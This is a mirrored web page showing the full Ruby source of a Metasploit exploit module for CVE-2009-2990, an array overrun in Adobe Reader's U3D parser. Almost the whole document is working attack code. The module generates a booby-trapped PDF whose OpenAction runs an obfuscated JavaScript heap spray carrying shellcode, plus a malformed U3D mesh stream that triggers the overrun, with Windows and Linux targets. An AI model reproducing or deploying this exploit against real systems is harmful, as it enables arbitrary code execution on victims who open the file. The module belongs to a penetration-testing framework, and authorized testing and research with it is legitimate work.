Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/fileformat/adobe_u3d_meshcont.rb
19720 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'zlib'
7
8
class MetasploitModule < Msf::Exploit::Remote
9
Rank = GoodRanking
10
11
include Msf::Exploit::FILEFORMAT
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Adobe U3D CLODProgressiveMeshDeclaration Array Overrun',
18
'Description' => %q{
19
This module exploits an array overflow in Adobe Reader and Adobe Acrobat.
20
Affected versions include < 7.1.4, < 8.1.7, and < 9.2. By creating a
21
specially crafted pdf that a contains malformed U3D data, an attacker may
22
be able to execute arbitrary code.
23
},
24
'License' => MSF_LICENSE,
25
'Author' => [
26
'Felipe Andres Manzano <felipe.andres.manzano[at]gmail.com>',
27
'jduck'
28
],
29
'References' => [
30
[ 'CVE', '2009-2990' ],
31
[ 'OSVDB', '58920' ],
32
[ 'BID', '36665' ],
33
[ 'URL', 'http://sites.google.com/site/felipeandresmanzano/' ],
34
[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb09-15.html' ]
35
],
36
'DefaultOptions' => {
37
'EXITFUNC' => 'process',
38
},
39
'Payload' => {
40
'Space' => 1024,
41
'BadChars' => "\x00",
42
'DisableNops' => true
43
},
44
'Platform' => %w{win linux},
45
'Targets' => [
46
# test results (on Windows XP SP3)
47
# reader 7.0.5 - untested
48
# reader 7.0.8 - untested
49
# reader 7.0.9 - untested
50
# reader 7.1.0 - untested
51
# reader 7.1.1 - untested
52
# reader 8.0.0 - untested
53
# reader 8.1.2 - works
54
# reader 8.1.3 - works
55
# reader 8.1.4 - untested
56
# reader 8.1.5 - untested
57
# reader 8.1.6 - untested
58
# reader 9.0.0 - untested
59
# reader 9.1.0 - works
60
[
61
'Adobe Reader Windows Universal (JS Heap Spray)',
62
{
63
'Index' => 0x01d10000,
64
'Platform' => 'win',
65
'Arch' => ARCH_X86,
66
'escA' => 0x0f0f0f0f,
67
'escB' => 0x16161616,
68
'escC' => 0x1c1c1c1c
69
}
70
],
71
72
# untested
73
[
74
'Adobe Reader Linux Universal (JS Heap Spray)',
75
{
76
'Index' => 0xfffffe3c,
77
'Platform' => 'linux',
78
'Arch' => ARCH_X86,
79
'escA' => 0x75797959,
80
'escB' => 0xa2a2a2a2,
81
'escC' => 0x9c9c9c9c
82
}
83
]
84
],
85
'DisclosureDate' => '2009-10-13',
86
'DefaultTarget' => 0,
87
'Notes' => {
88
'Reliability' => UNKNOWN_RELIABILITY,
89
'Stability' => UNKNOWN_STABILITY,
90
'SideEffects' => UNKNOWN_SIDE_EFFECTS
91
}
92
)
93
)
94
95
register_options(
96
[
97
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
98
]
99
)
100
end
101
102
def exploit
103
# Encode the shellcode.
104
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
105
106
# Make some nops
107
nops = Rex::Text.to_unescape(make_nops(4))
108
109
# prepare the pointers!
110
ptrA = Rex::Text.to_unescape([target['escA']].pack('V'), Rex::Arch.endian(target.arch))
111
ptrB = Rex::Text.to_unescape([target['escB']].pack('V'), Rex::Arch.endian(target.arch))
112
ptrC = Rex::Text.to_unescape([target['escC']].pack('V'), Rex::Arch.endian(target.arch))
113
114
script = <<~EOF
115
var nopz = unescape("#{nops}");
116
function mkSlice(stringy,size,rest){
117
while (stringy.length <= size/2)
118
stringy += stringy;
119
stringy = stringy.substring(0, size/2 -32/2 -4/2 - rest -2/2);
120
return stringy;
121
};
122
123
function spray(escA,escB,escC,escShellcode){
124
var loop1;
125
var pointersA = unescape(escA);
126
var pointersB = unescape(escB);
127
var pointersC = unescape(escC);
128
var shellcode = unescape(escShellcode);
129
130
pointersA_slide=mkSlice(pointersA,0x100000, pointersA.length);
131
pointersB_slide=mkSlice(pointersB,0x100000, pointersB.length);
132
pointersC_slide=mkSlice(pointersC,0x100000, pointersC.length);
133
nop_slide = mkSlice(nopz,0x100000, shellcode.length);
134
var xarr = new Array();
135
for (loop1 = 0; loop1 < 400; loop1++) {
136
if(loop1<100)
137
xarr[loop1] = pointersA_slide+pointersA;
138
else if(loop1<200)
139
xarr[loop1] = pointersB_slide+pointersB;
140
else if(loop1<300)
141
xarr[loop1] = pointersC_slide+pointersC;
142
else
143
xarr[loop1] = nop_slide+shellcode;
144
}
145
return xarr;
146
};
147
var memoryz = spray("#{ptrA}","#{ptrB}","#{ptrC}","#{shellcode}");
148
this.pageNum = 1;
149
EOF
150
151
# Obfuscate it up a bit
152
script = obfuscate_js(script,
153
'Symbols' => {
154
'Variables' => %W{pointersA_slide pointersA escA pointersB_slide pointersB escB pointersC_slide pointersC escC escShellcode nop_slide shellcode stringy size rest nopz loop1 xarr memoryz},
155
'Methods' => %W{mkSlice spray}
156
}).to_s
157
158
# create the u3d stuff
159
u3d = make_u3d_stream(target['Index'], "E" * 11)
160
161
# Create the pdf
162
pdf = make_pdf(script, u3d)
163
164
print_status("Creating '#{datastore['FILENAME']}' file...")
165
166
file_create(pdf)
167
end
168
169
def obfuscate_js(javascript, opts)
170
js = Rex::Exploitation::ObfuscateJS.new(javascript, opts)
171
js.obfuscate
172
return js
173
end
174
175
def random_non_ascii_string(count)
176
result = ""
177
count.times do
178
result << (rand(128) + 128).chr
179
end
180
result
181
end
182
183
def io_def(id)
184
"%d 0 obj\n" % id
185
end
186
187
def io_ref(id)
188
"%d 0 R" % id
189
end
190
191
# http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
192
def n_obfu(str)
193
result = ""
194
str.scan(/./u) do |c|
195
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
196
result << "#%x" % c.unpack("C*")[0]
197
else
198
result << c
199
end
200
end
201
result
202
end
203
204
def ascii_hex_whitespace_encode(str)
205
result = ""
206
whitespace = ""
207
str.each_byte do |b|
208
result << whitespace << "%02x" % b
209
whitespace = " " * (rand(3) + 1)
210
end
211
result << ">"
212
end
213
214
def u3d_pad(str, char = "\x00")
215
ret = ""
216
if (str.length % 4) > 0
217
ret << char * (4 - (str.length % 4))
218
end
219
return ret
220
end
221
222
def make_u3d_stream(index, meshname)
223
# build the U3D header (length will be patched in later)
224
hdr_data = [1, 0].pack('n*') # version info
225
hdr_data << [0, 0x24, 31337, 0, 0x6a].pack('VVVVV')
226
hdr = "U3D\x00"
227
hdr << [hdr_data.length, 0].pack('VV')
228
hdr << hdr_data
229
230
# mesh declaration
231
decl_data = [meshname.length].pack('v')
232
decl_data << meshname
233
decl_data << [0].pack('V') # chain idx
234
# max mesh desc
235
decl_data << [0].pack('V') # mesh attrs
236
decl_data << [0xc322].pack('V') # face count
237
decl_data << [0x6226].pack('V') # position count
238
decl_data << [0x24966].pack('V') # normal count
239
decl_data << [0].pack('V') # diffuse color count
240
decl_data << [0].pack('V') # specular color count
241
decl_data << [0].pack('V') # texture coord count
242
decl_data << [1].pack('V') # shading count
243
# shading desc
244
decl_data << [0].pack('V') # shading attr
245
decl_data << [1].pack('V') # texture layer count
246
decl_data << [0].pack('V') # texture coord dimensions
247
decl_data << [0].pack('V') # original shading id
248
# minimum resolution
249
decl_data << [0x6226].pack('V') # final maximum resolution (needs to be bigger than the minimum)
250
# quality factors
251
decl_data << [0x12c].pack('V') # position quality factor
252
decl_data << [0x12c].pack('V') # normal quality factor
253
decl_data << [0x12c].pack('V') # texture coord quality factor
254
# inverse quantiziation
255
decl_data << [0x3f0b1e6c].pack('V') # position inverse quant
256
decl_data << [0x3b6f05a6].pack('V') # normal inverse quant
257
decl_data << [0x3b6f05a6].pack('V') # texture coord inverse quant
258
decl_data << [0x3c2df54a].pack('V') # diffuse color inverse quant
259
decl_data << [0x3c2df54a].pack('V') # specular color inverse quant
260
# resource params
261
decl_data << [0x3f666666].pack('V') # normal crease param
262
decl_data << [0x3f000000].pack('V') # normal update param
263
decl_data << [0x3f7c28f6].pack('V') # normal tolerance param
264
# skeleton description
265
decl_data << [0].pack('V') # bone count
266
# padding
267
mesh_decl = [0xffffff31, decl_data.length, 0].pack('VVV')
268
mesh_decl << decl_data
269
mesh_decl << u3d_pad(decl_data)
270
271
# build the modifier chain
272
chain_data = [meshname.length].pack('v')
273
chain_data << meshname
274
chain_data << [1].pack('V') # type (model resource)
275
chain_data << [0].pack('V') # attributes (no bounding info)
276
chain_data << u3d_pad(chain_data)
277
chain_data << [1].pack('V') # number of modifiers
278
chain_data << mesh_decl
279
modifier_chain = [0xffffff14, chain_data.length, 0].pack('VVV')
280
modifier_chain << chain_data
281
282
# mesh continuation
283
cont_data = [meshname.length].pack('v')
284
cont_data << meshname
285
cont_data << [0].pack('V') # chain idx
286
cont_data << [0].pack('V') # start resolution
287
cont_data << [0x1000].pack('V') # end resolution
288
# 4096 continuation blocks
289
cont_data << [index].pack('V') # split position index
290
cont_data << [0].pack('v') # new diffuse color count
291
cont_data << [0].pack('v') # new specular color count
292
cont_data << [0].pack('v') # new text coord count
293
cont_data << [0].pack('V') # new face count
294
# unknown data
295
cont_data << "\x07\x9c\x00\x00\x00\x37\x0c\x00\x00\xd0\x02\x00\x00\x3f\xeb\x95\x0d\x00\x00\x76"
296
cont_data << "\x05\x00\x00\xea\x15\x00\x00\xe2\x02\x00\x00\x00\x00\x00\x00\x80\x82\x22\x8e\x2f"
297
cont_data << "\xaa\x00\x00\x00\xc2\x13\x23\x00\x20\xbb\x06\x00\x80\xc2\x1f\x00\x80\x20\x00\x00"
298
cont_data << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xc0\x14\x01\x00\x20\x44"
299
cont_data << "\x0a\x00\x10\x7e\x4b\x8d\xf8\x7c\x32\x6d\x03\x00\x00\xb2\x0b\x00\x20\xfd\x19\x00"
300
cont_data << "\x20\xb6\xe9\xea\x2e\x55\x00\x00\x59\x94\x00\x00\x4c\x00\x01\x00\x1a\xbb\xa0\xc8"
301
cont_data << "\xc1\x04\x00\x70\xc4\xa0\x00\x00\x00\x6c\x98\x46\xac\x04\x00\x60\xf6\x1c\x00\x20"
302
cont_data << "\xa1\x0f\x00\xa0\x17\x66\x23\x00\x00\xde\x88\x1d\x00\x00\x7b\x16\x9f\x72\x9a\x1d"
303
cont_data << "\x15\x00\x80\xeb\x39\x00\x00\x00\x00\x00\x00\x94\xc8\x00\x00\x54\xce\xfb\x32\x00"
304
cont_data << "\x80\xc4\x3e\xb0\xc4\x88\xde\x77\x00\x00\x46\x72\x01\x00\xf0\x56\x01\x00\x8c\x53"
305
cont_data << "\xe9\x10\x9d\x6b\x06\x00"
306
cont_data << "\x50" # pad
307
mesh_cont = [0xffffff3c, cont_data.length, 0].pack('VVV')
308
mesh_cont << cont_data
309
# mesh_cont << u3d_pad(cont_data)
310
mesh_cont << "\xa2\x00" # manual padding
311
312
data = hdr
313
data << modifier_chain
314
data << mesh_cont
315
316
# patch the length
317
data[24, 4] = [0x2b680].pack('V') # hardcode the data length
318
319
if index == 0x01d10000
320
# laziest hack ever! Another index must be found for using the following
321
# stream in windows.. and a lot of tests shoul be done.
322
return data
323
end
324
325
# linux version
326
# build the U3D header (length will be patched in later)
327
hdr_data = [1, 0].pack('n*') # version info
328
hdr_data << [0, 0x24, 31337, 0, 0x6a].pack('VVVVV')
329
meta_str1 = "alalala0"
330
meta_str2 = "\xa8" * 1024
331
hdr_meta = [1].pack('V')
332
hdr_meta << [meta_str1.length].pack('v')
333
hdr_meta << meta_str1
334
hdr_meta << [1].pack('V')
335
hdr_meta << [meta_str2.length].pack('V')
336
hdr_meta << meta_str2
337
hdr = "U3D\x00"
338
hdr << [hdr_data.length, hdr_meta.length].pack('VV')
339
hdr << hdr_data
340
hdr << hdr_meta
341
hdr << u3d_pad(hdr_meta)
342
343
# mesh declaration
344
decl_data = [meshname.length].pack('v')
345
decl_data << meshname
346
decl_data << [0].pack('V') # chain idx
347
# max mesh desc
348
decl_data << [0].pack('V') # mesh attrs
349
decl_data << [0xc322].pack('V') # face count
350
decl_data << [0x6626].pack('V') # position count
351
decl_data << [4].pack('V') # normal count
352
decl_data << [0].pack('V') # diffuse color count
353
decl_data << [0].pack('V') # specular color count
354
decl_data << [0].pack('V') # texture coord count
355
decl_data << [1].pack('V') # shading count
356
# shading desc
357
decl_data << [0].pack('V') # shading attr
358
decl_data << [0].pack('V') # texture layer count
359
decl_data << [0].pack('V') # original shading id
360
# no texture coord dimensions
361
decl_data << [0x64].pack('V') # minimum resolution
362
decl_data << [0x65].pack('V') # final maximum resolution (needs to be bigger than the minimum)
363
# quality factors
364
decl_data << [0x12c].pack('V') # position quality factor
365
decl_data << [0x12c].pack('V') # normal quality factor
366
decl_data << [0x12c].pack('V') # texture coord quality factor
367
# inverse quantiziation
368
decl_data << [0].pack('V') # position inverse quant
369
decl_data << [0].pack('V') # normal inverse quant
370
decl_data << [0].pack('V') # texture coord inverse quant
371
decl_data << [0].pack('V') # diffuse color inverse quant
372
decl_data << [0].pack('V') # specular color inverse quant
373
# resource params
374
decl_data << [0].pack('V') # normal crease param
375
decl_data << [0].pack('V') # normal update param
376
decl_data << [0].pack('V') # normal tolerance param
377
# skeleton description
378
decl_data << [0].pack('V') # bone count
379
# padding
380
mesh_decl = [0xffffff31, decl_data.length, 0].pack('VVV')
381
mesh_decl << decl_data
382
mesh_decl << u3d_pad(decl_data)
383
384
# build the modifier chain
385
chain_data = [meshname.length].pack('v')
386
chain_data << meshname
387
chain_data << [1].pack('V') # type (model resource)
388
chain_data << [0].pack('V') # attributes (no bounding info)
389
chain_data << u3d_pad(chain_data)
390
chain_data << [1].pack('V') # number of modifiers
391
chain_data << mesh_decl
392
modifier_chain = [0xffffff14, chain_data.length, 0].pack('VVV')
393
modifier_chain << chain_data
394
395
# mesh continuation
396
cont_data = [meshname.length].pack('v')
397
cont_data << meshname
398
cont_data << [0].pack('V') # chain idx
399
cont_data << [0].pack('V') # start resolution
400
cont_data << [0x100].pack('V') # end resolution
401
# 256 continuation blocks
402
cont_data << [index].pack('V') # split position index
403
# unknown data
404
cont_data << [1].pack('V') * 10
405
cont_data << "Feli" * 20
406
mesh_cont = [0xffffff3c, cont_data.length, 0].pack('VVV')
407
mesh_cont << cont_data
408
mesh_cont << u3d_pad(cont_data)
409
410
data = hdr
411
data << modifier_chain
412
data << mesh_cont
413
414
# patch the length
415
data[24, 4] = [0x174].pack('V') # hardcode the data length
416
return data
417
end
418
419
def make_pdf(js, u3d_stream)
420
xref = []
421
eol = "\x0a"
422
obj_end = "" << eol << "endobj" << eol
423
424
# the header
425
pdf = "%PDF-1.7" << eol
426
427
# filename/comment
428
pdf << "%" << random_non_ascii_string(4) << eol
429
430
# js stream
431
xref << pdf.length
432
compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js))
433
pdf << io_def(1) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
434
pdf << "stream" << eol
435
pdf << compressed << eol
436
pdf << "endstream" << eol
437
pdf << obj_end
438
439
# catalog
440
xref << pdf.length
441
pdf << io_def(3) << n_obfu("<</Type/Catalog/Outlines ") << io_ref(4)
442
pdf << n_obfu("/Pages ") << io_ref(5)
443
pdf << n_obfu("/OpenAction ") << io_ref(8)
444
pdf << n_obfu(">>")
445
pdf << obj_end
446
447
# outline
448
xref << pdf.length
449
pdf << io_def(4) << n_obfu("<</Type/Outlines/Count 0>>")
450
pdf << obj_end
451
452
# kids
453
xref << pdf.length
454
pdf << io_def(5) << n_obfu("<</Type/Pages/Count 2/Kids [")
455
pdf << io_ref(9) << " " # empty page
456
pdf << io_ref(10) # u3d page
457
pdf << n_obfu("]>>")
458
pdf << obj_end
459
460
# u3d stream
461
xref << pdf.length
462
pdf << io_def(6) << n_obfu("<</Type/3D/Subtype/U3D/Length %s>>" % u3d_stream.length) << eol
463
pdf << "stream" << eol
464
pdf << u3d_stream << eol
465
pdf << "endstream"
466
pdf << obj_end
467
468
# u3d annotation object
469
xref << pdf.length
470
pdf << io_def(7) << n_obfu("<</Type/Annot/Subtype")
471
pdf << "/3D/3DA <</A/PO/DIS/I>>"
472
pdf << n_obfu("/Rect [0 0 640 480]/3DD ") << io_ref(6) << n_obfu("/F 7>>")
473
pdf << obj_end
474
475
# js dict
476
xref << pdf.length
477
pdf << io_def(8) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(1) + ">>" << obj_end
478
479
# page 0 (empty)
480
xref << pdf.length
481
pdf << io_def(9) << n_obfu("<</Type/Page/Parent ") << io_ref(5) << n_obfu("/MediaBox [0 0 640 480]")
482
pdf << n_obfu(" >>")
483
pdf << obj_end
484
485
# page 1 (u3d)
486
xref << pdf.length
487
pdf << io_def(10) << n_obfu("<</Type/Page/Parent ") << io_ref(5) << n_obfu("/MediaBox [0 0 640 480]")
488
pdf << n_obfu("/Annots [") << io_ref(7) << n_obfu("]")
489
pdf << n_obfu(">>")
490
pdf << obj_end
491
492
# xrefs
493
xrefPosition = pdf.length
494
pdf << "xref" << eol
495
pdf << "0 %d" % (xref.length + 1) << eol
496
pdf << "0000000000 65535 f" << eol
497
xref.each do |index|
498
pdf << "%010d 00000 n" % index << eol
499
end
500
501
# trailer
502
pdf << "trailer" << eol
503
pdf << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(3) << ">>" << eol
504
pdf << "startxref" << eol
505
pdf << xrefPosition.to_s() << eol
506
pdf << "%%EOF" << eol
507
end
508
end
509
510